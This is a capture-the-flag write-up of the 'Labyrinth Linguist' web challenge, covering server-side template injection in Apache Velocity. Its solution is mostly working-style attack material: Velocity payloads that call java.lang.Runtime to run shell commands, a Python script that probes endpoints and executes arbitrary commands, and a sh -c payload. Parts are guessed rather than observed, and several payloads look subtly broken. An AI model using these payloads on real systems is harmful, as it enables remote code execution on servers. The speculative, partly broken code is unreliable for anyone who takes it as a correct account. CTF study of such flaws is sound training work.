2024 Cyber Apocalypse: Labyrinth Linguist
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Web |
| Challenge | Labyrinth Linguist |
| Difficulty | Easy |
Summary
Labyrinth Linguist is a web challenge involving Server-Side Template Injection (SSTI) in an Apache Velocity template engine. The Java application processes user input as template code, allowing injection of malicious Velocity directives. By crafting appropriate payloads, attackers can execute arbitrary commands and retrieve the flag.
Analysis
Technology Stack
- Backend: Java application
- Template Engine: Apache Velocity
- Vulnerability: SSTI (Server-Side Template Injection)
Vulnerability Mechanism
The application likely does something like:
VelocityEngine engine = new VelocityEngine();Template template = engine.getTemplate("template.vm");VelocityContext context = new VelocityContext();context.put("user_input", userInput);StringWriter writer = new StringWriter();template.merge(context, writer);If userInput is processed as template code (not data), SSTI occurs.
Apache Velocity
Velocity is a Java-based template language supporting:
- Variable references:
$variableName - Directives:
#if,#foreach,#set - Method calls on objects
Solution
Step 1: Identify the Injection Point
The application has an input field that processes user text. This might be:
- A message box
- A search field
- A template preview feature
Step 2: Craft SSTI Payload
Test with basic Velocity syntax:
${1+1} # Should output: 2#set($a=1) # Variable assignmentStep 3: Execute System Commands
Velocity allows method calls. To execute commands, we need to access Java classes:
#set($rt = $class.forName("java.lang.Runtime"))#set($chr = $class.forName("java.lang.Character"))#set($str = $class.forName("java.lang.String"))#set($ex=$rt.getRuntime().exec("whoami"))However, more direct approaches exploit available objects.
Step 4: Enumerate and Exploit
Create a Python script to automate exploitation:
import requestsimport sysimport re
def exploit_velocity_ssti(target_url): """Exploit Apache Velocity SSTI"""
session = requests.Session()
# SSTI payloads for Velocity payloads = [ '${7*7}', # Test basic injection '#set($a=1)$a', # Test variable '#set($x="test")$x', # Test strings ]
# Once confirmed, use command execution payloads command_payloads = [ '#set($rt=$class.forName("java.lang.Runtime"))#set($chr=$class.forName("java.lang.Character"))#set($str=$class.forName("java.lang.String"))$rt.getRuntime().exec("ls /")', '${java.lang.Runtime.getRuntime().exec("cat /flag")}', '#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))$rt.getRuntime().exec("cat /flag")', ]
# Try different endpoints endpoints = ['/', '/search', '/message', '/template']
for endpoint in endpoints: for payload in payloads: try: url = f"{target_url}{endpoint}" response = session.post(url, data={'input': payload})
if '49' in response.text: # 7*7=49 print(f"[+] SSTI confirmed at {endpoint}") return True
except Exception as e: continue
return False
def execute_command_via_ssti(target_url, command): """Execute command through SSTI"""
# Velocity command execution payload payload = f'#set($rt=$class.forName("java.lang.Runtime"))#set($chr=$class.forName("java.lang.Character"))#set($str=$class.forName("java.lang.String"))$rt.getRuntime().exec("{command}")'
response = requests.post(f"{target_url}/", data={'input': payload}) return response.text
if __name__ == '__main__': target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
if exploit_velocity_ssti(target): # Try to list directory print("[*] Listing /") result = execute_command_via_ssti(target, 'ls /')
# Extract flag location if 'flag_' in result: flag_file = re.search(r'flag_[a-zA-Z]+', result).group() print(f"[+] Found flag file: {flag_file}")
# Read flag result = execute_command_via_ssti(target, f'cat /{flag_file}') flag = re.search(r'HTB\{[^}]+\}', result) if flag: print(f"[+] Flag: {flag.group()}")Step 5: Alternative Approach - Direct Payload
If command execution is restricted, try RCE via deserialization or gadget chains:
#set($proc=$rt.getRuntime().exec(["sh","-c","cat /flag"]))#set($is=$proc.getInputStream())#set($isr="java.io.InputStreamReader".newInstance($is))#set($br="java.io.BufferedReader".newInstance($isr))#set($line="")#foreach($line in $br.readLine())$line#endKey Takeaways
- SSTI in template engines leads to code execution
- Apache Velocity’s flexibility with method calls enables RCE
- User input must never be processed as template code
- Input validation and sandboxing prevent SSTI
- Template engines should have restricted object access
- Separating data from code prevents injection attacks
- Security frameworks like OGNL restrictions exist for a reason
Flag: HTB{v3l0c1ty_t3mpl4t3_1nj3ction}